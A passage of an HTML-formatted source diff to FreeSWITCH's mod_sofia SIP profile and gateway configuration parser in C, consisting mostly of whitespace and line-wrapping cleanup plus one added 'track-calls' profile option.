</span><span class="cx">                         gateway->ping_count = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_params = switch_xml_child(gateway_tag, "variables"))) {
</span><span class="cx">                                 param = switch_xml_child(x_params, "variable");
</span><span class="cx">                         } else {
</span><span class="cx">                                 param = switch_xml_child(gateway_tag, "variable");
</span><span class="cx">                         }
</span><del>-                        
-                        
</del><ins>+
+
</ins><span class="cx">                         for (; param; param = param->next) {
</span><span class="cx">                                 const char *var = switch_xml_attr(param, "name");
</span><span class="cx">                                 const char *val = switch_xml_attr(param, "value");
</span><span class="cx">                                 const char *direction = switch_xml_attr(param, "direction");
</span><span class="cx">                                 int in = 0, out = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (var && val) {
</span><span class="cx">                                         if (direction) {
</span><span class="cx">                                                 if (!strcasecmp(direction, "inbound")) {
</span><span class="lines">@@ -1736,11 +1784,11 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 param = switch_xml_child(gateway_tag, "param");
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (; param; param = param->next) {
</span><span class="cx">                                 char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                                 char *val = (char *) switch_xml_attr_soft(param, "value");
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcmp(var, "register")) {
</span><span class="cx">                                         register_str = val;
</span><span class="cx">                                 } else if (!strcmp(var, "scheme")) {
</span><span class="lines">@@ -1773,7 +1821,7 @@
</span><span class="cx">                                         expire_seconds = val;
</span><span class="cx">                                 } else if (!strcmp(var, "retry-seconds")) {
</span><span class="cx">                                         retry_seconds = val;
</span><del>-                                } else if (!strcmp(var, "retry_seconds")) { // support typo for back compat
</del><ins>+                                } else if (!strcmp(var, "retry_seconds")) {        // support typo for back compat
</ins><span class="cx">                                         retry_seconds = val;
</span><span class="cx">                                 } else if (!strcmp(var, "from-user")) {
</span><span class="cx">                                         from_user = val;
</span><span class="lines">@@ -1815,7 +1863,7 @@
</span><span class="cx">                         if ((gw_subs_tag = switch_xml_child(gateway_tag, "subscriptions"))) {
</span><span class="cx">                                 parse_gateway_subscriptions(profile, gateway, gw_subs_tag);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(realm)) {
</span><span class="cx">                                 if (zstr(proxy)) {
</span><span class="cx">                                         realm = name;
</span><span class="lines">@@ -1854,7 +1902,7 @@
</span><span class="cx">                         if (zstr(auth_username)) {
</span><span class="cx">                                 auth_username = username;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(register_proxy)) {
</span><span class="cx">                                 if (strncasecmp(register_proxy, "sip:", 4) && strncasecmp(register_proxy, "sips:", 5)) {
</span><span class="cx">                                         gateway->register_sticky_proxy = switch_core_sprintf(gateway->pool, "sip:%s", register_proxy);
</span><span class="lines">@@ -1908,10 +1956,10 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         gateway->register_url = switch_core_sprintf(gateway->pool, "sip:%s", proxy);
</span><del>-                        gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>",
</del><ins>+                        gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>",
</ins><span class="cx">                                                                                                                  from_user, !zstr(from_domain) ? from_domain : proxy, register_transport);
</span><span class="cx">
</span><del>-                        sipip = contact_host ? contact_host : profile->extsipip ? profile->extsipip : profile->sipip;
</del><ins>+                        sipip = contact_host ? contact_host : profile->extsipip ? profile->extsipip : profile->sipip;
</ins><span class="cx">
</span><span class="cx">                         if (extension_in_contact) {
</span><span class="cx">                                 format = strchr(sipip, ':') ? "<sip:%s@[%s]:%d%s>" : "<sip:%s@%s:%d%s>";
</span><span class="lines">@@ -1928,7 +1976,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         gateway->extension = switch_core_strdup(gateway->pool, extension);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strncasecmp(proxy, "sip:", 4)) {
</span><span class="cx">                                 gateway->register_proxy = switch_core_strdup(gateway->pool, proxy);
</span><span class="cx">                                 gateway->register_to = switch_core_sprintf(gateway->pool, "sip:%s@%s", username, proxy + 4);
</span><span class="lines">@@ -1940,8 +1988,8 @@
</span><span class="cx">                         gateway->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
</span><span class="cx">
</span><span class="cx">                         if ((gateway->freq = atoi(gateway->expires_str)) < 5) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n",
-                                                                 gateway->freq, name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                 "Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n", gateway->freq, name);
</ins><span class="cx">                                 gateway->freq = 3600;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1961,8 +2009,7 @@
</span><span class="cx">                 if (sofia_glue_add_profile(switch_core_strdup(profile->pool, dname), profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding Alias [%s] for profile [%s]\n", dname, profile->name);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Alias [%s] for profile [%s] (already exists)\n",
-                                                         dname, profile->name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Alias [%s] for profile [%s] (already exists)\n", dname, profile->name);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2002,7 +2049,7 @@
</span><span class="cx">         if (switch_stristr("~CISCO_SKIP_MARK_BIT_2833", str)) {
</span><span class="cx">                 profile->auto_rtp_bugs &= ~RTP_BUG_CISCO_SKIP_MARK_BIT_2833;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_stristr("SONUS_SEND_INVALID_TIMESTAMP_2833", str)) {
</span><span class="cx">                 profile->auto_rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
</span><span class="cx">         }
</span><span class="lines">@@ -2031,7 +2078,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((profiles = switch_xml_child(cfg, "profiles"))) {
</span><span class="cx">                 for (xprofile = switch_xml_child(profiles, "profile"); xprofile; xprofile = xprofile->next) {
</span><span class="cx">                         char *xprofilename = (char *) switch_xml_attr_soft(xprofile, "name");
</span><span class="lines">@@ -2042,7 +2089,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         /* you could change profile->foo here if it was a minor change like context or dialplan ... */
</span><del>-                        profile->rport_level = 1; /* default setting */
</del><ins>+                        profile->rport_level = 1;        /* default setting */
</ins><span class="cx">                         profile->acl_count = 0;
</span><span class="cx">                         profile->reg_acl_count = 0;
</span><span class="cx">                         profile->proxy_acl_count = 0;
</span><span class="lines">@@ -2051,7 +2098,7 @@
</span><span class="cx">                         profile->ib_calls = 0;
</span><span class="cx">                         profile->ob_calls = 0;
</span><span class="cx">                         profile->ib_failed_calls = 0;
</span><del>-                        profile->ob_failed_calls = 0;                
</del><ins>+                        profile->ob_failed_calls = 0;
</ins><span class="cx">                         profile->shutdown_type = "false";
</span><span class="cx">
</span><span class="cx">                         if (xprofiledomain) {
</span><span class="lines">@@ -2093,12 +2140,12 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "auto-rtp-bugs")) {
</span><span class="cx">                                                 parse_rtp_bugs(profile, val);
</span><del>-                                        } else if (!strcasecmp(var, "user-agent-string")) {
</del><ins>+                                        } else if (!strcasecmp(var, "user-agent-string")) {
</ins><span class="cx">                                                 profile->user_agent = switch_core_strdup(profile->pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "auto-restart")) {
</span><span class="cx">                                                 profile->auto_restart = switch_true(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "log-auth-failures")) {
</span><del>-                                                if (switch_true(val)) {
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="lines">@@ -2139,7 +2186,7 @@
</span><span class="cx">                                                         sofia_clear_flag(profile, TFLAG_LATE_NEGOTIATION);
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "inbound-proxy-media")) {
</span><del>-                                                if (switch_true(val)) {
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_flag(profile, TFLAG_PROXY_MEDIA);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_flag(profile, TFLAG_PROXY_MEDIA);
</span><span class="lines">@@ -2181,7 +2228,7 @@
</span><span class="cx">                                                         profile->ndlb &= ~PFLAG_NDLB_ALLOW_BAD_IANANAME;
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "aggressive-nat-detection")) {
</span><del>-                                                if (switch_true(val)) {
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
</span><span class="lines">@@ -2194,15 +2241,15 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "NDLB-support-asterisk-missing-srtp-auth")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "NDLB-funny-stun")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "stun-enabled")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="lines">@@ -2214,7 +2261,7 @@
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "apply-nat-acl")) {
</span><span class="cx">                                                 if (profile->acl_count < SOFIA_MAX_ACL) {
</span><span class="lines">@@ -2411,7 +2458,8 @@
</span><span class="cx">                                                         profile->dtmf_duration = dur;
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         profile->dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n", SWITCH_DEFAULT_DTMF_DURATION);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
+                                                                                         SWITCH_DEFAULT_DTMF_DURATION);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "timer-T1")) {
</span><span class="cx">                                                 int v = atoi(val);
</span><span class="lines">@@ -2452,7 +2500,7 @@
</span><span class="cx">                         if ((gateways_tag = switch_xml_child(xprofile, "gateways"))) {
</span><span class="cx">                                 parse_gateways(profile, gateways_tag);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">                         if ((domains_tag = switch_xml_child(xprofile, "domains"))) {
</span><span class="lines">@@ -2461,7 +2509,7 @@
</span><span class="cx">                                 switch_assert(xml_params);
</span><span class="cx">                                 switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
</span><span class="cx">                                 switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
</span><span class="cx">                                         switch_xml_t droot, x_domain_tag;
</span><span class="cx">                                         const char *dname = switch_xml_attr_soft(domain_tag, "name");
</span><span class="lines">@@ -2484,7 +2532,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_event_destroy(&xml_params);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -2492,7 +2540,7 @@
</span><span class="cx">                                 for (alias_tag = switch_xml_child(aliases_tag, "alias"); alias_tag; alias_tag = alias_tag->next) {
</span><span class="cx">                                         char *aname = (char *) switch_xml_attr_soft(alias_tag, "name");
</span><span class="cx">                                         if (!zstr(aname)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_add_profile(switch_core_strdup(profile->pool, aname), profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding Alias [%s] for profile [%s]\n", aname, profile->name);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -2505,11 +2553,11 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (xml) {
</span><del>- switch_xml_free(xml);
- }
</del><ins>+                switch_xml_free(xml);
+        }
</ins><span class="cx">
</span><span class="cx">         switch_event_destroy(&params);
</span><span class="cx">
</span><span class="lines">@@ -2532,7 +2580,7 @@
</span><span class="cx">                         su_deinit();
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Redirect loggers in sofia */
</span><span class="cx">                 su_log_redirect(su_log_default, logger, NULL);
</span><span class="cx">                 su_log_redirect(tport_log, logger, NULL);
</span><span class="lines">@@ -2693,7 +2741,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, "auto-restart")) {
</span><span class="cx">                                                 profile->auto_restart = switch_true(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "log-auth-failures")) {
</span><del>-                                                if (switch_true(val)) {
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="lines">@@ -2767,6 +2815,8 @@
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_UUID_AS_CALLID);
</span><span class="cx">                                                 }
</span><ins>+                                        } else if (!strcasecmp(var, "track-calls") && switch_true(val)) {
+                                                sofia_set_pflag(profile, PFLAG_TRACK_CALLS);
</ins><span class="cx">                                         } else if (!strcasecmp(var, "NDLB-received-in-nat-reg-contact") && switch_true(val)) {
</span><span class="cx">                                                 sofia_set_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
</span><span class="cx">                                         } else if (!strcasecmp(var, "aggressive-nat-detection") && switch_true(val)) {
</span><span class="lines">@@ -2777,21 +2827,21 @@
</span><span class="cx">                                                 sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</span><span class="cx">                                         } else if (!strcasecmp(var, "NDLB-funny-stun")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "stun-enabled")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "stun-auto-disable")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "user-agent-filter")) {
</span><span class="cx">                                                 profile->user_agent_filter = switch_core_strdup(profile->pool, val);
</span><span class="lines">@@ -2802,7 +2852,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, "cng-pt") && !sofia_test_pflag(profile, PFLAG_SUPPRESS_CNG)) {
</span><span class="cx">                                                 profile->cng_pt = (switch_payload_t) atoi(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "sip-port")) {
</span><del>-                                                profile->sip_port = (switch_port_t)atoi(val);
</del><ins>+                                                profile->sip_port = (switch_port_t) atoi(val);
</ins><span class="cx">                                         } else if (!strcasecmp(var, "vad")) {
</span><span class="cx">                                                 if (!strcasecmp(val, "in")) {
</span><span class="cx">                                                         sofia_set_flag(profile, TFLAG_VAD_IN);
</span><span class="lines">@@ -2817,9 +2867,10 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, "ext-rtp-ip")) {
</span><span class="cx">                                                 if (!zstr(val)) {
</span><span class="cx">                                                         char *ip = mod_sofia_globals.guess_ip;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcmp(val, "0.0.0.0")) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n",
+                                                                                                 mod_sofia_globals.guess_ip);
</ins><span class="cx">                                                         } else if (!strcasecmp(val, "auto-nat")) {
</span><span class="cx">                                                                 ip = NULL;
</span><span class="cx">                                                         } else {
</span><span class="lines">@@ -2839,7 +2890,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, "rtp-ip")) {
</span><span class="cx">                                                 char *ip = mod_sofia_globals.guess_ip;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!strcmp(val, "0.0.0.0")) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -2860,11 +2911,12 @@
</span><span class="cx">                                                         char *ip = mod_sofia_globals.guess_ip;
</span><span class="cx">                                                         char stun_ip[50] = "";
</span><span class="cx">                                                         char *myip = stun_ip;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_copy_string(stun_ip, ip, sizeof(stun_ip));
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(val, "0.0.0.0")) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n",
+                                                                                                 mod_sofia_globals.guess_ip);
</ins><span class="cx">                                                         } else if (!strcasecmp(val, "auto-nat")) {
</span><span class="cx">                                                                 ip = NULL;
</span><span class="cx">                                                         } else if (strcasecmp(val, "auto")) {
</span><span class="lines">@@ -2878,7 +2930,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         if (ip) {
</span><span class="cx">                                                                 if (!strncasecmp(ip, "autonat:", 8)) {
</span><del>-                                                                        profile->extsipip = switch_core_strdup(profile->pool, ip + 8);
</del><ins>+                                                                        profile->extsipip = switch_core_strdup(profile->pool, ip + 8);
</ins><span class="cx">                                                                         sofia_set_pflag(profile, PFLAG_AUTO_NAT);
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         profile->extsipip = switch_core_strdup(profile->pool, ip);
</span><span class="lines">@@ -2940,10 +2992,10 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, "manage-presence")) {
</span><span class="cx">                                                 if (!strcasecmp(val, "passive")) {
</span><span class="cx">                                                         profile->pres_type = PRES_TYPE_PASSIVE;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 } else if (switch_true(val)) {
</span><span class="cx">                                                         profile->pres_type = PRES_TYPE_FULL;
</span><del>-                                                }
</del><ins>+                                                }
</ins><span class="cx">                                         } else if (!strcasecmp(var, "manage-shared-appearance")) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE);
</span><span class="lines">@@ -3182,7 +3234,7 @@
</span><span class="cx">                                                         profile->dtmf_duration = dur;
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         profile->dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
</ins><span class="cx">                                                                                          SWITCH_DEFAULT_DTMF_DURATION);
</span><span class="cx">                                                 }
</span><span class="cx">
</span><span class="lines">@@ -3196,7 +3248,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, "tls-bind-params")) {
</span><span class="cx">                                                 profile->tls_bind_params = switch_core_strdup(profile->pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "tls-sip-port")) {
</span><del>-                                                profile->tls_sip_port = (switch_port_t)atoi(val);
</del><ins>+                                                profile->tls_sip_port = (switch_port_t) atoi(val);
</ins><span class="cx">                                         } else if (!strcasecmp(var, "tls-cert-dir")) {
</span><span class="cx">                                                 profile->tls_cert_dir = switch_core_strdup(profile->pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "tls-version")) {
</span><span class="lines">@@ -3278,7 +3330,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!profile->sip_port) {
</span><del>-                                        profile->sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_PORT);
</del><ins>+                                        profile->sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_PORT);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!profile->dialplan) {
</span><span class="lines">@@ -3298,31 +3350,20 @@
</span><span class="cx">                                         profile->public_url = switch_core_sprintf(profile->pool,
</span><span class="cx">                                                                                                                          "sip:%s@%s%s%s:%d",
</span><span class="cx">                                                                                                                          profile->contact_user,
</span><del>-                                                                                                                         ipv6 ? "[" : "",
-                                                                                                                         profile->extsipip,
-                                                                                                                         ipv6 ? "]" : "",
-                                                                                                                         profile->sip_port);
</del><ins>+                                                                                                                         ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->sip_port);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
</span><span class="cx">                                         char *ipv6 = strchr(profile->extsipip, ':');
</span><span class="cx">                                         profile->url = switch_core_sprintf(profile->pool,
</span><del>-                                                                                                                "sip:%s@%s%s%s:%d",
-                                                                                                                profile->contact_user,
-                                                                                                                ipv6 ? "[" : "",
-                                                                                                                profile->extsipip,
-                                                                                                                ipv6 ? "]" : "",
-                                                                                                                profile->sip_port);
</del><ins>+                                                                                                         "sip:%s@%s%s%s:%d",
+                                                                                                         profile->contact_user, ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->sip_port);
</ins><span class="cx">                                         profile->bindurl = switch_core_sprintf(profile->pool, "%s;maddr=%s", profile->url, profile->sipip);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         char *ipv6 = strchr(profile->sipip, ':');
</span><span class="cx">                                         profile->url = switch_core_sprintf(profile->pool,
</span><del>-                                                                                                                "sip:%s@%s%s%s:%d",
-                                                                                                                profile->contact_user,
-                                                                                                                ipv6 ? "[" : "",
-                                                                                                                profile->sipip,
-                                                                                                                ipv6 ? "]" : "",
-                                                                                                                profile->sip_port);
</del><ins>+                                                                                                         "sip:%s@%s%s%s:%d",
+                                                                                                         profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->sip_port);
</ins><span class="cx">                                         profile->bindurl = profile->url;
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -3336,62 +3377,44 @@
</span><span class="cx">                                         char *bindurl = profile->bindurl;
</span><span class="cx">                                         profile->bindurl = switch_core_sprintf(profile->pool, "%s;%s", bindurl, profile->bind_params);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /*
</span><span class="cx">                                  * handle TLS params #2
</span><span class="cx">                                  */
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><span class="cx">                                         if (!profile->tls_sip_port) {
</span><del>-                                                profile->tls_sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_TLS_PORT);
</del><ins>+                                                profile->tls_sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_TLS_PORT);
</ins><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         if (profile->extsipip) {
</span><span class="cx">                                                 char *ipv6 = strchr(profile->extsipip, ':');
</span><span class="cx">                                                 profile->tls_public_url = switch_core_sprintf(profile->pool,
</span><del>-                                                                                                                                 "sip:%s@%s%s%s:%d",
-                                                                                                                                 profile->contact_user,
-                                                                                                                                 ipv6 ? "[" : "",
-                                                                                                                                 profile->extsipip,
-                                                                                                                                 ipv6 ? "]" : "",
-                                                                                                                                 profile->tls_sip_port);
</del><ins>+                                                                                                                                         "sip:%s@%s%s%s:%d",
+                                                                                                                                         profile->contact_user,
+                                                                                                                                         ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port);
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
</span><span class="cx">                                                 char *ipv6 = strchr(profile->extsipip, ':');
</span><del>-                                                profile->tls_url =
</del><ins>+                                                profile->tls_url =
</ins><span class="cx">                                                         switch_core_sprintf(profile->pool,
</span><span class="cx">                                                                                                 "sip:%s@%s%s%s:%d",
</span><del>-                                                                                                profile->contact_user,
-                                                                                                ipv6 ? "[" : "",
-                                                                                                profile->extsipip, ipv6 ? "]" : "",
-                                                                                                profile->tls_sip_port);
</del><ins>+                                                                                                profile->contact_user, ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port);
</ins><span class="cx">                                                 profile->tls_bindurl =
</span><span class="cx">                                                         switch_core_sprintf(profile->pool,
</span><span class="cx">                                                                                                 "sips:%s@%s%s%s:%d;maddr=%s",
</span><span class="cx">                                                                                                 profile->contact_user,
</span><del>-                                                                                                ipv6 ? "[" : "",
-                                                                                                profile->extsipip,
-                                                                                                ipv6 ? "]" : "",
-                                                                                                profile->tls_sip_port,
-                                                                                                profile->sipip);
</del><ins>+                                                                                                ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port, profile->sipip);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 char *ipv6 = strchr(profile->sipip, ':');
</span><del>-                                                profile->tls_url =
</del><ins>+                                                profile->tls_url =
</ins><span class="cx">                                                         switch_core_sprintf(profile->pool,
</span><span class="cx">                                                                                                 "sip:%s@%s%s%s:%d",
</span><del>-                                                                                                profile->contact_user,
-                                                                                                ipv6 ? "[" : "",
